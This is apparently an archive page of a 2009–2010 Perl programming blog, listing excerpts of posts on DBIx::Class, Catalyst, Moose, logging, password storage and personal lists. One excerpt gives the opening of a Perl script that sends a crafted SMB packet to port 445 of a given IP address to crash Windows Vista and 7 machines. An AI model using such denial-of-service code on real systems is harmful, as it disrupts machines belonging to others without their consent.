Delegation via Roles

DBIx::Class::DeploymentHandler is nearly ready for prime time, so I’m going to discuss a pattern mst described to me that I’ve found very helpful in developing this project. Roles If you don’t already know what roles are you probably don’t read very many perl blogs etc. chromatic has written a series of blog posts where he discusses the various merits of roles vs whatever your poison is. Maybe read that. This isn’t really about that.

Posted Fri, Apr 2, 2010

The Rise and Fall of mod_perl

In February of 2008 I figured out how to switch our servers from IIS to Apache. The main reason I did that was because if you print to STDERR in Perl while running under IIS the server would crash hard. In general it just took some research and motivation. All was well with the world…. For six months. After switching to Apache we needed a way (previously accomplished with PerlEx from ActiveState) to run certain scripts persistently.

Posted Tue, Mar 9, 2010

Announcing Log::Contextual

I really should have posted this sooner. Certainly before I began my next project. Oh well. I am proud to announce the next bit of mstware! Log::Contextual is a small module for making your life easier when it comes to logging. Instead of bringing yet another logging infrastructure into the mix (see Log::Log4perl and Log::Dispatch), this module is a thin wrapper around any logging system you choose to use. (Note: we are working with authors of major logging packages to work seamlessly with L::C, but at the time of writing most need some form of adapter.) There are a few major features worth noting.

Posted Tue, Feb 23, 2010

New stuff in DBIx::Class::Helpers 2.00200

A new release of the resplendent Perl ORM DBIx::Class means new release of DBIx::Class::Helpers The ResultSet::Random helper had the wrong function used for MySQL. That was fixed thanks to an RT from pldoh. get_namespace_parts from the util package was unnecessarily strict. Thanks to melo for the prodding to do that. I refactored some of the code in core DBIx::Class so that I can more easily detect is_numeric with Row::NumifyGet, instead of requiring the user to specify it.

Posted Sun, Feb 7, 2010

Do Passwords Right

You all know not to put your passwords into the database in plaintext. Catalyst and DBIx::Class::EncodedColumn make doing this super easy and completely secure. First off, you might want to check out the wikipedia article about cryptographic hash functions. The gist of it though is this: a password stored in plain text is obviously compromised if the passwords file gets into the hands of evildoers. You can “hash” the passwords and they are now harder for the attackers to transform into plain-text.

Posted Thu, Feb 4, 2010

An Exposition on Specific Time Saving Code

I write a lot of ExtJS grids at work. I have written JavaScript classes for our Ext grids that generate as much as possible automatically, but the actual column definitions of the grids are almost always unique. The project I am on now is nearing our first real deploy, and we’re late, so things have been really, really busy. It wasn’t until recently that I realized just how much time I spent working on grids and their related records (representation of the rows of a grid.) Although even if I’d known just how much I do this at the beginning of the project, I certainly didn’t know DBIx::Class as much as I do now, in addition to the other 4 non-core modules that I’ll mention.

Posted Fri, Jan 29, 2010

Template.Tiny

(Sorry if you heard this already :-) ) At $work we do as much “view” type code as we can in JavaScript with the ExtJS framework. I have personally found it to be a great framework to work with, although often it is lacking in the non-UI department. One thing that at first I really liked about Ext was their Template and XTemplate classes. But as time went on I got more and more annoyed with those modules.

Posted Tue, Jan 26, 2010

Solution on how to serialize dates nicely

So after discussing this problem with the inimitable ribasushi we came up with a good solution. It’s not quite generic, but it solves the current problem very nicely. First, we subclass DateTime: package MTSI::DateTime; use strict; use warnings; use parent 'DateTime'; sub TO_JSON { shift->ymd } 1; Next, in the base class we use for all of our Result classes in our Schema, we override _inflate_to_datetime to rebless the returned value into our subclass: package ACD::Schema::Result; use strict; use warnings; use parent 'DBIx::Class::Core'; __PACKAGE__->load_components(qw{ TimeStamp Helper::Row::NumifyGet }); use MTSI::DateTime; sub _inflate_to_datetime { my $self = shift; my $val = $self->next::method(@_); return bless $val, 'MTSI::DateTime'; } 1; And lastly, in our JSON view, we ensure that convert_blessed is on so that json will automatically call our TO_JSON method: package ACD::View::JSON; use Moose; extends 'Catalyst::View::JSON'; use JSON::XS (); has encoder => ( is => 'ro', lazy_build => 1, ); sub _build_encoder { my $self = shift; return JSON::XS->new->utf8->convert_blessed; } sub encode_json { my($self, $c, $data) = @_; $self->encoder->encode($data); } 1; And that’s all there is to it!

Posted Thu, Jan 21, 2010

What is the right way to serialize X object generically?

Background: dates in our database automatically get “inflated” to DateTime objects. That works pretty much perfectly. We use JSON to serialize all of our objects to go to our JavaScript stuff on the client side. The way that works is basically like the following: # this should probably be called something more generic, like serialize # but this decision was made by someone else and I'm not going to # spend time solving that for now sub TO_JSON { my $self = shift; return { map +( $_ => $self->$_), qw{id name when_created} }; } which expands to: { id => 1, name => 'frew', when_created => DateTime->new(...), # <-- not ok } Problematically, DateTime has no TO_JSON method.

Posted Thu, Jan 21, 2010

So Long IronMan....Sortof...

The IronMan initiative is awesome! No one should misunderstand that. But I am getting WAY TOO MANY things in my feed reader. So here’s my solution: unsubscribe from from the vanilla feed. Add the OPML to my feed reader and then unsubscribe from the non-english and spam feeds work on the IronMan code base to add another feed of when people add their feed, and then subscribe to that so I know when people join profit!

Posted Wed, Jan 20, 2010

Latest additions to DBIC::Helpers

Yesterday I added a basic but really nice helper to DBIx::Class::Helpers. Say hello to DBIx::Class::Helper::Row::NumifyGet. The reasoning is that often we have bit fields in our database and when we serialize them with JSON we get something like the following: { 'bit_field':'0'} JavaScript has the whole truthy concept like Perl except that in JavaScript “0” is true, while 0 is false. So NumifyGet will automatically “numify” columns with the is_numeric field set to true.

Posted Thu, Jan 14, 2010

Getting portable

One of my Goals for the New Year was to finish my current project at work. One thing that keeps me from working more on my project is that working from home is pretty painful. So I decided that I’d do all that I could to do as much work as possible from home without needing to be VPN’d in to work. The primary hurdle was to figure out a way to get all of the data from our shared dev server (SQL Server 2005) to something I could use at home.

Posted Wed, Jan 13, 2010

Goals Update

This week I… paid of 25% of my college loans (!!!) scheduled a pickup from goodwill for clothes to get rid of next week went in to work on Saturday to get caught up on some stuff or our project and planned a dinner for myself and friends for next week that I’ll be cooking A good start if I may say so myself.

Posted Mon, Jan 11, 2010

Goals for the New Year

It’s been 2010 for almost 10 days now. I have had this list of goals for the new year but I wanted to give them time to gestate before I posted them. I’m pretty happy with the goals and I have high hopes to be able to pull them all off. Not all of them are technical, but a good chunk are. Work Stuff: Finish Work project by end of

Posted Sat, Jan 9, 2010

Processing is sweet!

I got The Processing Book for Christmas and I finished it this morning. It’s been a lot of fun going through the book and I learned a ton of different things. First off, book review: The authors did exceptionally well at balancing six different topics: Programming The Processing API Introduction to Algorithms for Software Based Art Introduction to Software Based Art Synthesis sections which contain complex Processing examples Survey of existing art made with software The programming stuff was pretty basic (just touched on higher level OO near the end) but the creators of Processing (who also wrote this book) did a good job at making the easy stuff easy.

Posted Wed, Dec 30, 2009

WebCritic Revisited

As I mentioned in my last post I rewrote one of my personal apps (WebCritic) to use Web::Simple over the Thanksgiving holiday. It was exciting, writing one of the first apps to use the brand new Web::Simple. Of course, that also meant that I had to read incomplete doc, deal with examples that didn’t work, and in general just deal with the whole hassle of an immature project. Of course that was rewarding though, because I got a chance to help beef up the doc some, fix the broken examples, and convince mst to add a basic feature that will allow me to run the server standalone.

Posted Mon, Nov 30, 2009

And a Great Cheer Erupted from The Land!

Guys! Web::Simple got released today! I fully intend on porting my personal CGIApp projects to Web::Simple immediately after writing this post. It really allows for a lot more possibilities, and not just the super sexy dispatching that is documented. One thing I found interesting is that mst didn’t document the tags stuff anywhere at all. There used to be examples, but they seem to be gone. For a taste of those, see the tests.

Posted Wed, Nov 25, 2009

JAP(5|6)H

Surely you, dear reader, already know what this post is about. But on the off-chance that you don’t, make sure you read these posts from people smarter, more connected, and more balanced than I. You may remember the beginnings of the technical posts on this blog. They were mostly sub-par because I had not begun read my articles before posting. I also had the bad habit of posting more than once a day.

Posted Thu, Nov 19, 2009

Writing vs. Writing

I enjoy updating this blog. Part of it is that I like writing, and part of it is that I kinda feel famous with all these great coders reading the words that I write. But I like programming better. That is why lately I’ve been posting less and coding more. In posting modules to CPAN I’ve learned a lot of different things. First off, testing is easy. But before you test you have to set up your test environment.

Posted Thu, Oct 29, 2009

Missing In Action

So I haven’t posted for kindav a long time. I have a lot planned to write about, but first, the reason it’s been so long and the solution to that problem. You may remember my post regarding printing etc. When I told my boss about the large response I got, I think I miscommunicated and somehow heard that he wanted us to try a few more solutions before we hired someone else.

Posted Thu, Oct 22, 2009

SCIENCE (aka benchmarking)

Recently we were doing something at work where we needed to get to a location deep in an HoH. We already had a solution that worked alright, but it was copy pasted in a couple places, it wasn’t tested, and it wasn’t documented. So I looked around on CPAN and found Hash::Path. It did exactly what we wanted, but the code was recursive instead of iterative (like our solution.) Because we weren’t going too deep I just installed it and figured I’d look at the actual differences later.

Posted Fri, Oct 2, 2009

Game Short List

Chrono Trigger Skies of Arcadia Braid Super Mario World Super Metroid Sonic The Hedgehog 3 + Knuckles

Posted Sun, Sep 20, 2009

Movie Short List

High Fidelity Boondock Saints This Is Spinal Tap A Mighty Wind Fight Club Leon/The Professional The Life Aquatic with Steve Zissou Pulp Fiction Stranger than Fiction Children of Men The Prestige Little Miss Sunshine Orange County Snatch Lock, Stock & Two Smoking Barrels Formula 51 Reservoir Dogs The Usual Suspects American Beauty Being John Malkovich Magnolia The Big Lebowski Donnie Darko Fargo

Posted Sun, Sep 20, 2009

Album Short List

Ladyhawkeby Ladyhawke, Review Anywhere I Lay My Headby Scarlett Johansson, Review Furr by Blitzen Trapper, Review Brave by Marillion, Review Tallahassee by The Mountain Goats, Review Ultravisitor by SquarePusher, Review Good News For People Who Love Bad Newsby Modest Mouse, Review Neon Bible by The Arcade Fire Santogold by Santogold Saturday Youth by M83 Scary Monsters by David Bowie Sound of Silver by LCD Soundsystem begin to hope by Regina

Posted Sun, Sep 20, 2009

Short Lists

Album Short List Movie Short List Game Short List

Posted Sun, Sep 20, 2009

Perl, PostScript, PDF, Printing, and Money

I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool! Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it.

Posted Fri, Sep 18, 2009

My New Hammers

For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been. I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear.

Posted Fri, Sep 11, 2009

Crash your roommate's windows computer WOOO!!!

Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer) #!perl my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program'; use IO::All; my $io = io("$ip:445"); my $foo = "\x00\x00\x00\x90". # Begin SMB header: Session message "\xff\x53\x4d\x42". # Server Component: SMB "\x72\x00\x00\x00". # Negociate Protocol "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853 "\x00\x23".

Posted Wed, Sep 9, 2009

Moose Test Refactoring

I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done: #!/usr/bin/perl use strict; use warnings; use lib 't/lib'; use Test::More tests => 23; use Test::Exception; use MetaTest; { package Foo; use Moose; use Moose::Util::TypeConstraints; } skip_meta { can_ok('Foo', 'meta'); isa_ok(Foo->meta, 'Moose::Meta::Class'); } 2; meta_can_ok('Foo', 'meta', '...

Posted Mon, Sep 7, 2009

Biking To Work

I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.

Posted Fri, Sep 4, 2009

Exceptions with Perl, what a joy!

Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique. First off, I used Exception::Class to create my exception classes: package ACD::Exceptions; use strict; use warnings; use Exception::Class ( 'ACD::Exception::InvalidBinBox' => { description => 'Invalid Bin-Box', fields => [qw{bin box}], }, 'ACD::Exception::UserException' => { fields => 'message', }, ); use Moose::Util::TypeConstraints; class_type 'ACD::Exception::InvalidBinBox'; class_type 'ACD::Exception::UserException'; no Moose::Util::TypeConstraints; 1; Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.

Posted Thu, Sep 3, 2009

On Moose and Speed

Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to: I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code. First off, here is a quote from the POD: Moose is wonderful.

Posted Wed, Sep 2, 2009

"Turns out there really are Computer Gremlins!" redux

So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows.

Posted Tue, Sep 1, 2009

Turns out there really are Computer Gremlins!

Ok, this is just too crazy to not record and relate. By now anyone who has read much of my blog or interacted with me should know that I use a significant amount of javascript on my current project at work. Because I like to keep everything nicely organized, 95% of the time each class has it’s own file. That means I have to tell the server every time I add a new class.

Posted Thu, Aug 27, 2009

Why should I use an ORM?

At work I tend to play an…Evangelical role? I tend to experiment with various technologies, get sold on them, and then sell them to coworkers. Examples: Apache, DBIx::Class, CGIApp, and lately Catalyst. So I typically find various ways that the new tool helps make my job easier and tell people about that. After they believe me, I then educate them about various nuances and whatnot of the tool. Eventually this will happen with git, when it doesn’t suck so much with Windows.

Posted Thu, Aug 27, 2009

Brief Addendum: Send Email

Ok, so for some reason I left out sending email from last nights’ post. Here it is: sometimes people forget about RT, or they have so many RT’s that they don’t know which ones are fixed and broken. Well, a small nudge via email can convince them to fix a longstanding bug. Of course, if it’s reasonable sending a patch wouldn’t hurt either…

Posted Wed, Aug 26, 2009

How to Help without being a Rockstar

I think a lot of people who use perl have the idea that to help the perl ecosystem be they must be rockstars who churn out exorbitant amounts of code that is well tested and well factored. That is just not true! The easiest thing one can do to help out in the perl ecosystem is to create tickets for any issues you have with modules on RT. It’s not really that much of a hassle and it can help authors out a lot.

Posted Wed, Aug 26, 2009

reCAPTCHA

Normally I opt to eschew metablog post (how meta is that?!) but I figured this deserves a brief explanation. I have been getting more and more spam lately. Fortunately Akismet usually keeps humans from seeing it, but Akismet has also kept back plenty of spam too. So I decided to go with the more powerful reCAPTCHA for comments from now on. I know it’s a hassle, but it could be worse.

Posted Tue, Aug 25, 2009

Concert of the Month: Bat for Lashes

Last night (Thursday) I saw Bat for Lashes live. It was a really good concert! You may have heard about Bat for Lashes from their awesome, creepy music video from 2007. I got the album (Fur and Gold) after hearing that song and was mostly disappointed. The other songs just didn’t seem to have the depth and feel as that song. So then recently this year I heard Daniel on Last.fm.

Posted Sat, Aug 22, 2009

Finding a sweet domain with perl

So yesterday I spent a few hours trying to find a cool domain for the project I am working on in my free time. (By the way, raptorprey.com is open.) After looking at lots of various options, I decided that it would be really cool to get a domain of a latin work with the .US TLD. Too bad I don’t know latin right? So I went online and found some cheesy one page latin dictionary that had a few thousand words.

Posted Thu, Aug 20, 2009

Metrics + Debug!

The project I am working on at work is going to be deployed soon, so today I worked on some of those things that need to be taken care of before the deploy. One of those things was changing our gigantic list of javascript files into a single file with minimal hassle. I actually tried to implement it myself, but that was silly. A simple search on CPAN for catalyst javascript yields two promising results.

Posted Wed, Aug 19, 2009

Perl 6 in Perl 5 FOR THE WIN

Today I wanted to generate a list from another list. Typically I would use map for this, but I wanted to iterate over two elements at a time, instead of one at a time. (A lot of people said to use natatime from List::MoreUtils, over and over. They didn’t read my question very carefully, especially since I specifically said I wanted natatime but with map.) Anyway, mst pointed out Perl6::Gather, which works perfectly for this situation!

Posted Tue, Aug 18, 2009

The Beauty of Code Reuse

I’m probably preaching to the choir here, but it must be said: code reuse is most excellent! Today I got a somewhat complex feature working for our customer, and almost all of it was features I’d already written, and due to the organization of our system I could easily reuse most of the code. Our customer fixes airplane parts. When they fix a part they need to document every single thing they did to the part.

Posted Fri, Aug 14, 2009

CPAN Ratings Day

You may have noticed that there really aren’t a lot of CPAN Ratings out there currently, but you have a chance to help that. The past couple of weeks I’ve done two or three CPAN ratings every Thursday. Just go to CPAN Ratings, get an account, and rate modules that you are a fan of. Generally criticizing modules in active development is a bad idea since bugs should really go to rt.

Posted Thu, Aug 13, 2009

Dallas.p6m: August 2009

So we had another Dallas.p6m tonight. It was fairly laid back compared to some other ones, but it was still a lot of fun. I did a “talk” on the Perl 6 object model, which I didn’t prepare enough for, so it was mostly me asking Patrick some basic questions about stuff I could relate to Moose. So here is the skinny on that stuff: has in Moose is a method, that ties a string to some attributes.

Posted Wed, Aug 12, 2009

On Rewrites, or Why One Should Read as Little Code as Possible

The project I am working on right now is rewriting a large, mostly CRUD application. The current app (second generation) is all VB6 and Stored Procedures. We are making the app entirely web based with DBIx::Class for the brunt of the backend and ExtJS for the UI. There are a few other technologies involved, but they should remain fairly light and unobtrusive. As we’ve designed our code I’ve made an effort to only look at the inputs and outputs of the original code, to avoid using any existing design mistakes that have already been made.

Posted Fri, Aug 7, 2009

Mediums and Messages

When you want to get help on the internet, it’s not just what you say and how you say it; it’s also where you say it. I use three different communication mediums on a day-to-day basis to get help with the various toolkits I use and only a couple of them overlap in medium. There are inherent benefits and drawbacks to each medium, but generally you don’t have a choice in which medium to use for a given project.

Posted Thu, Aug 6, 2009

Initial Catalyst Impressions

I’ve been using Catalyst at home for nearly six weeks now and I guess two weeks at work. I feel that now is a good time for me to list some of my impressions. The angle that I am coming from is mostly CGI::Application, which means very bare bones. The first thing that I got for free with Catalyst was configuration file support. Less than a week after switching to Catalyst our customer asked me if we could change the database connection easily.

Posted Wed, Aug 5, 2009

For Arcanez

So I have some cool posts enqueue but they are not done and longish, so I figured I’d post about this bug in the interaction between Perl 5.10’s switch statement and List::Util’s first method. Here is a test script: #!perl use strict; use warnings; use feature ':5.10'; use List::Util qw{first reduce}; use Test::More 'no_plan'; # thanks mst use Test::Deep; my @numbers = (1..10); cmp_deeply [ grep { $_ % 2 == 0 } @numbers], [2,4,6,8,10], 'grep works'; is((first { $_ % 2 == 0 } @numbers ), 2, 'first works'); is((reduce { $a + $b } @numbers ), 55, 'reduce works'); given (1) { when (1) { cmp_deeply [ grep { $_ % 2 == 0 } @numbers], [2,4,6,8,10], 'grep works'; is((first { $_ % 2 == 0 } @numbers ), 2, 'first works'); is((reduce { $a + $b } @numbers ), 55, 'reduce works'); } } Here’s the output: ok 1 - grep works ok 2 - first works ok 3 - reduce works ok 4 - grep works in when not ok 5 - first works in when # Failed test 'first works in when' # at t.pl line 20.

Posted Thu, Jul 30, 2009

PerlMonks Getting Hacked and My Solution

So some of you may heard that PerlMonks got hacked recently. Before I get into my (not entirely unique) solution, I want to express how upset I am at PerlMonks about this. I am not going to blame them for getting hacked. But storing passwords in plaintext? I would have thought better from a developer community, especially one as entrenched in web applications as the Perl community. I am dumb for using the same password in a lot of websites, but I’m upset that one of the ones I trusted (level 2 out of 3 password) violated that trust.

Posted Thu, Jul 30, 2009